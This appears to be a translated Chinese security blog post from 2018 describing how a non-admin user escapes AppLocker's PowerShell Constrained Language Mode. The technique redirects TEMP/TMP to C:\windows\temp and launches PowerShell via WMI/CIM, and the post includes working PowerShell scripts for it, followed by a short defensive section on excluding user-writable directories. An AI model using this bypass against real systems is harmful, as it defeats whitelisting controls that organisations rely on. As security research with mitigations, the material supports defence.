技术分享丨如何利用临时目录绕过AppLockerCLM
时间:2018-12-08
TL;DR
1.以普通用户权限实现,不需要管理员权限;
2.修改%TEMP%/%TMP%指向一个AppLocker定义的允许执行脚本代码的地址;
3.利用新的环境变量(%TEMP%/%TMP%设置的参数)开启PowerShell;
背景
当我在研究AppLocker以及PowerShell受限语言模式绕过方面的东西时,我发现了一种新的技术。目前,我已经将相关问题上报给了微软,但是他们却并不认为这是一个安全漏洞。当时,我在查看事件日志(同时启动PowerShell)的时候发现了这个问题,而且它总会触发两个警告错误(执行失败)。那么在这篇文章中,我将跟大家介绍这项技术的实现细节。
这种情况触发的警报内容是关于一个随机生成的.PSM1和.PS1文件,文件内容是随机构建的,结构大致如下:
__PSSCRIPTPOLICYTEST_8random chars>.3 random chars>.PS1
__PSSCRIPTPOLICYTEST_8random chars>.3 random chars>.PSM1
当我在检查错误信息时,我发现它会尝试执行当前用户%temp%目录中的这些文件,当然了,AppLocker是不允许这种行为的,除非你专门进行了设置。
为了深入分析,我捕捉到了文件内容,这里我使用了一个带有简单循环语句的PowerShell:
while($true)
{
Copy-Item-Path $("$env:temp\*.ps*") -Destination C:\temp
}
下面给出的是文件内容示例:
我当时就在想我怎么样能够绕过这种检测,于是我想到,我是不是可以预先创建出所有可能的.PS1以及.PSM1文件,然后使用硬链接连接到一个允许执行的位置。但是,当我知道了我需要预先创建多少个文件之后,我就放弃了这种想法…接下来我想到,也许PowerShell能够将用户环境变量读取到临时目录中,事实证明,这种方式是可行的。
绕过技术
当我发现我可以在HKCU\环境下修改注册表的%TEMP%和%TMP%变量之后,我首先想到的就是打开注册表(regedit)然后直接修改对应的值。在测试过程中,我使用了默认的AppLocker规则,并且成功执行了C:\Windows\*中的脚本,于是我准备把%TEMP%和%TMP%指向到c:\windows\temp,因为我我还知道用户肯定有这个目录的写入访问权。请大家记住,如果用户拥有一个允许脚本执行的目录的写入权限,那么他就可以在这个目录中植入自己的PS1脚本,并且以完整语言模式执行该脚本。
在修改了注册表键值之后,我打开了一个新的PowerShell窗口,但是令我惊讶的是,它并没有捕捉到新设置的环境变量。
查了一下资料之后,我发现我可以使用“Start-Process”命令以及“-UseNewEnvironment”参数。这种方式适用于大多数进程,但是PowerShell却不适用。此时它会弹出一个窗口,然后迅速自动关闭。好吧…
别忘了,我们还可以使用WMIC来生成进程,而且我们还可以直接在PowerShell中使用WMI命令,于是我设计出了下面这段脚本:
$CurrTemp= $env:temp
$CurrTmp= $env:tmp
$TEMPBypassPath= "C:\windows\temp"
$TMPBypassPath= "C:\windows\temp"
Set-ItemProperty-Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty-Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod-Class win32_process -Name create -ArgumentList "powershell"
sleep5
#Setit back
Set-ItemProperty-Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty-Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp
真正帮到我的命令是:
Invoke-WmiMethod-Class win32_process -Name create -ArgumentList “powershell”>
当脚本在受限语言模式下运行时,它会开启一个新的PowerShell窗口(完整语言模式),具体如下图所示:
非常好,我打算为我的PowerAppLocker项目写一个函数,当我在写代码的时候,我发现了一种更好的方法,这个方法不需要修改用户环境变量,感兴趣的同学可以参考Matt Graeber的这篇文章:【传送门】。
在这篇文章中,他演示了如何在Win32_Process环境下开启一个进程,并向其提供自己定义的环境变量,而这种功能正好是我需要的!
我的原始功能代码如下【完整代码】:
#Pathto Powershell
$CMDLine= "$PSHOME\powershell.exe"
#Gettingexisting env vars
[String[]]$EnvVarsExceptTemp = Get-ChildItem Env:\* -Exclude"TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }
#CustomTEMP and TMP
$TEMPBypassPath= "Temp=C:\windows\temp"
$TMPBypassPath= "TMP=C:\windows\temp"
#Addthe to the list of vars
$EnvVarsExceptTemp+= $TEMPBypassPath
$EnvVarsExceptTemp+= $TMPBypassPath
#Definethe start params
$StartParamProperties= @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams= New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property$StartParamProperties
#Starta new powershell using the new params
Invoke-CimMethod-ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine= $CMDLine
ProcessStartupInformation= $StartParams
}
防御措施
如何防止这种攻击技术呢?
你需要定义一套脚本规则,然后不允许从用户拥有写入权限的目录中执行脚本。这也就意味着,如果你允许c:\windows\*的话,你就需要排除这个目录路径,比如说C:\windows\temp,或C:\windows\tracing。如果你想获取所有用户可写入的目录列表,我推荐你使用Accesschk。
*参考来源:oddvar,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM